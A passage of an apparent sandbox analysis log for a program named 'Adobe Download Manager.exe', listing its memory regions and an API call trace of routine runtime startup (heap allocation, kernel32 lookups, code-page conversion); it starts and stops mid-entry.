"c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 581 start_va = 0x3a30000 end_va = 0x3a44fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000001b.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000001b.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000001b.db") Region: id = 582 start_va = 0x3a50000 end_va = 0x3a50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003a50000" filename = "" Region: id = 583 start_va = 0x5c0000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005c0000" filename = "" Region: id = 584 start_va = 0x3a60000 end_va = 0x3e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003a60000" filename = "" Region: id = 585 start_va = 0xc00000 end_va = 0xc3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c00000" filename = "" Region: id = 586 start_va = 0xc40000 end_va = 0xc7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c40000" filename = "" Region: id = 587 start_va = 0x3e60000 end_va = 0x425ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003e60000" filename = "" Region: id = 588 start_va = 0x4260000 end_va = 0x465ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004260000" filename = "" Region: id = 589 start_va = 0x717d0000 end_va = 0x7194dfff monitored = 0 entry_point = 0x7184c630 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 590 start_va = 0x73b30000 end_va = 0x73dfafff monitored = 0 entry_point = 0x73d6c4c0 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 591 start_va = 0xd90000 end_va = 0xd90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d90000" filename = "" Region: id = 592 start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 593 start_va = 0xfef80000 end_va = 0xff320fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\AppPatch\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\sysmain.sdb") Region: id = 609 start_va = 0x6f830000 end_va = 0x6f83bfff monitored = 0 entry_point = 0x6f834ad0 region_type = mapped_file name = "pcacli.dll" filename = "\\Windows\\SysWOW64\\pcacli.dll" (normalized: "c:\\windows\\syswow64\\pcacli.dll") Region: id = 672 start_va = 0x240000 end_va = 0x27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 673 start_va = 0x35a0000 end_va = 0x399ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000035a0000" filename = "" Region: id = 674 start_va = 0xfef80000 end_va = 0xff320fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\AppPatch\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\sysmain.sdb") Region: id = 782 start_va = 0x35a0000 end_va = 0x35a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000035a0000" filename = "" Region: id = 823 start_va = 0x35b0000 end_va = 0x35cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000035b0000" filename = "" Region: id = 2295 start_va = 0x35a0000 end_va = 0x37a5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000035a0000" filename = "" Region: id = 2303 start_va = 0x4660000 end_va = 0x486dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004660000" filename = "" Region: id = 2305 start_va = 0x35a0000 end_va = 0x37affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000035a0000" filename = "" Region: id = 2310 start_va = 0x240000 end_va = 0x27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 2311 start_va = 0x4660000 end_va = 0x4a5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004660000" filename = "" Region: id = 2312 start_va = 0x6f870000 end_va = 0x6fa8bfff monitored = 0 entry_point = 0x6fa3bc40 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\SysWOW64\\actxprxy.dll" (normalized: "c:\\windows\\syswow64\\actxprxy.dll") Region: id = 2313 start_va = 0x37b0000 end_va = 0x37b3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 2495 start_va = 0x4a60000 end_va = 0x4c68fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004a60000" filename = "" Region: id = 5998 start_va = 0x35a0000 end_va = 0x35a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000035a0000" filename = "" Region: id = 5999 start_va = 0x35b0000 end_va = 0x35b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000035b0000" filename = "" Thread: id = 1 os_tid = 0x117c [0131.100] GetStartupInfoW (in: lpStartupInfo=0xbffb08 | out: lpStartupInfo=0xbffb08*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\RDhJ0CNFevzX\\Desktop\\Adobe Download Manager.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0131.100] GetProcessHeap () returned 0xe80000 [0131.293] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x770a0000 [0131.293] GetProcAddress (hModule=0x770a0000, lpProcName="FlsAlloc") returned 0x770ba980 [0131.293] GetProcAddress (hModule=0x770a0000, lpProcName="FlsFree") returned 0x770c4ff0 [0131.293] GetProcAddress (hModule=0x770a0000, lpProcName="FlsGetValue") returned 0x770b7570 [0131.294] GetProcAddress (hModule=0x770a0000, lpProcName="FlsSetValue") returned 0x770b9e30 [0131.294] GetProcAddress (hModule=0x770a0000, lpProcName="InitializeCriticalSectionEx") returned 0x770c6740 [0131.294] GetProcAddress (hModule=0x770a0000, lpProcName="CreateEventExW") returned 0x770c66a0 [0131.294] GetProcAddress (hModule=0x770a0000, lpProcName="CreateSemaphoreExW") returned 0x770c6700 [0131.294] GetProcAddress (hModule=0x770a0000, lpProcName="SetThreadStackGuarantee") returned 0x770bb040 [0131.294] GetProcAddress (hModule=0x770a0000, lpProcName="CreateThreadpoolTimer") returned 0x770bace0 [0131.294] GetProcAddress (hModule=0x770a0000, lpProcName="SetThreadpoolTimer") returned 0x77267dc0 [0131.295] GetProcAddress (hModule=0x770a0000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x77274010 [0131.295] GetProcAddress (hModule=0x770a0000, lpProcName="CloseThreadpoolTimer") returned 0x77272a50 [0131.295] GetProcAddress (hModule=0x770a0000, lpProcName="CreateThreadpoolWait") returned 0x770ba7b0 [0131.295] GetProcAddress (hModule=0x770a0000, lpProcName="SetThreadpoolWait") returned 0x77272290 [0131.295] GetProcAddress (hModule=0x770a0000, lpProcName="CloseThreadpoolWait") returned 0x77272910 [0131.295] GetProcAddress (hModule=0x770a0000, lpProcName="FlushProcessWriteBuffers") returned 0x77297a60 [0131.295] GetProcAddress (hModule=0x770a0000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7728ac00 [0131.296] GetProcAddress (hModule=0x770a0000, lpProcName="GetCurrentProcessorNumber") returned 0x7727a890 [0131.296] GetProcAddress (hModule=0x770a0000, lpProcName="GetLogicalProcessorInformation") returned 0x770bac80 [0131.296] GetProcAddress (hModule=0x770a0000, lpProcName="CreateSymbolicLinkW") returned 0x770e0830 [0131.296] GetProcAddress (hModule=0x770a0000, lpProcName="SetDefaultDllDirectories") returned 0x74a56270 [0131.296] GetProcAddress (hModule=0x770a0000, lpProcName="EnumSystemLocalesEx") returned 0x770bfe80 [0131.296] GetProcAddress (hModule=0x770a0000, lpProcName="CompareStringEx") returned 0x770bff80 [0131.297] GetProcAddress (hModule=0x770a0000, lpProcName="GetDateFormatEx") returned 0x770e0e00 [0131.297] GetProcAddress (hModule=0x770a0000, lpProcName="GetLocaleInfoEx") returned 0x770ba750 [0131.297] GetProcAddress (hModule=0x770a0000, lpProcName="GetTimeFormatEx") returned 0x770e1240 [0131.297] GetProcAddress (hModule=0x770a0000, lpProcName="GetUserDefaultLocaleName") returned 0x770bad60 [0131.297] GetProcAddress (hModule=0x770a0000, lpProcName="IsValidLocaleName") returned 0x770e1460 [0131.298] GetProcAddress (hModule=0x770a0000, lpProcName="LCMapStringEx") returned 0x770b9a10 [0131.298] GetProcAddress (hModule=0x770a0000, lpProcName="GetCurrentPackageId") returned 0x749dded0 [0131.298] GetProcAddress (hModule=0x770a0000, lpProcName="GetTickCount64") returned 0x770b3630 [0131.298] GetProcAddress (hModule=0x770a0000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0131.298] GetProcAddress (hModule=0x770a0000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0131.299] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x8, Size=0x3bc) returned 0xe962a8 [0131.299] GetCurrentThreadId () returned 0x117c [0131.299] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xe83f60 [0131.299] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x8, Size=0x800) returned 0xe96670 [0131.299] GetStartupInfoW (in: lpStartupInfo=0xbffad8 | out: lpStartupInfo=0xbffad8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\RDhJ0CNFevzX\\Desktop\\Adobe Download Manager.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0131.299] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0131.299] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0131.299] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0131.299] GetCommandLineW () returned="\"C:\\Users\\RDhJ0CNFevzX\\Desktop\\Adobe Download Manager.exe\" " [0131.299] GetEnvironmentStringsW () returned 0xe96e78* [0131.300] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xa8c) returned 0xe97910 [0131.300] FreeEnvironmentStringsW (penv=0xe96e78) returned 1 [0131.300] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x373ba8, nSize=0x104 | out: lpFilename="C:\\Users\\RDhJ0CNFevzX\\Desktop\\Adobe Download Manager.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\adobe download manager.exe")) returned 0x38 [0131.300] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x7a) returned 0xe8a378 [0131.300] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x8, Size=0x90) returned 0xe89610 [0131.300] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x8, Size=0x3e) returned 0xe8ae30 [0131.300] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x8, Size=0x5c) returned 0xe8cfa8 [0131.300] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x8, Size=0x6e) returned 0xe8b8f8 [0131.300] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x8, Size=0x78) returned 0xe8f998 [0131.300] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x8, Size=0x62) returned 0xe83ae8 [0131.300] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x8, Size=0x28) returned 0xe8ac38 [0131.300] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x8, Size=0x48) returned 0xe95e88 [0131.300] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x8, Size=0x1a) returned 0xe87710 [0131.300] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x8, Size=0x3a) returned 0xe8af50 [0131.300] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x8, Size=0x62) returned 0xe870c0 [0131.300] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x8, Size=0x2a) returned 0xe8c850 [0131.301] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x8, Size=0x2e) returned 0xe8c2d8 [0131.301] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x8, Size=0x1c) returned 0xe8aa88 [0131.301] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x8, Size=0x144) returned 0xe838a0 [0131.301] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x8, Size=0x7c) returned 0xe8d420 [0131.301] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x8, Size=0x36) returned 0xe932e0 [0131.301] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x8, Size=0x3a) returned 0xe8af98 [0131.301] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x8, Size=0x90) returned 0xe8a5c8 [0131.301] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x8, Size=0x24) returned 0xe81cd0 [0131.301] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x8, Size=0x30) returned 0xe8c498 [0131.301] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x8, Size=0x36) returned 0xe93660 [0131.303] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x8, Size=0x48) returned 0xe95ed8 [0131.303] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x8, Size=0x52) returned 0xe8ab58 [0131.303] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x8, Size=0x3c) returned 0xe8b2b0 [0131.303] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x8, Size=0xd6) returned 0xe8d578 [0131.303] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x8, Size=0x2e) returned 0xe8c6c8 [0131.303] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x8, Size=0x1e) returned 0xe8d4a8 [0131.303] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x8, Size=0x2c) returned 0xe8c508 [0131.303] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x8, Size=0x54) returned 0xe86f50 [0131.303] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x8, Size=0x52) returned 0xe83dc0 [0131.303] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x8, Size=0x24) returned 0xe83c50 [0131.303] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x8, Size=0x42) returned 0xe960b8 [0131.303] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x8, Size=0x2c) returned 0xe8c540 [0131.304] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x8, Size=0x44) returned 0xe95f28 [0131.304] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x8, Size=0x24) returned 0xe83c80 [0131.304] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe97910 | out: hHeap=0xe80000) returned 1 [0131.305] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x8, Size=0x80) returned 0xe89bd0 [0131.305] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x8, Size=0x800) returned 0xe96e78 [0131.305] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0131.305] GetLastError () returned 0x0 [0131.305] SetLastError (dwErrCode=0x0) [0131.305] GetLastError () returned 0x0 [0131.306] SetLastError (dwErrCode=0x0) [0131.306] GetLastError () returned 0x0 [0131.306] SetLastError (dwErrCode=0x0) [0131.306] GetACP () returned 0x4e4 [0131.306] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x220) returned 0xe8b610 [0131.306] GetLastError () returned 0x0 [0131.306] SetLastError (dwErrCode=0x0) [0131.306] IsValidCodePage (CodePage=0x4e4) returned 1 [0131.306] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0xbffacc | out: lpCPInfo=0xbffacc) returned 1 [0131.306] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0xbff594 | out: lpCPInfo=0xbff594) returned 1 [0131.306] GetLastError () returned 0x0 [0131.306] SetLastError (dwErrCode=0x0) [0131.306] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿRXàväú¿", cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0131.306] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿRXàväú¿", cbMultiByte=256, lpWideCharStr=0xbff318, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0131.306] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0xbff5a8 | out: lpCharType=0xbff5a8) returned 1 [0131.306] GetLastError () returned 0x0 [0131.306] SetLastError (dwErrCode=0x0) [0131.306] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿRXàväú¿", cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0131.306] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿRXàväú¿", cbMultiByte=256, lpWideCharStr=0xbff2e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0131.306] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0131.306] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0xbff0d8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0131.306] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0xbff8a8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿRXàväú¿", lpUsedDefaultChar=0x0) returned 256 [0131.306] GetLastError () returned 0x0 [0131.306] SetLastError (dwErrCode=0x0) [0131.307] MultiByteToWideChar (in: 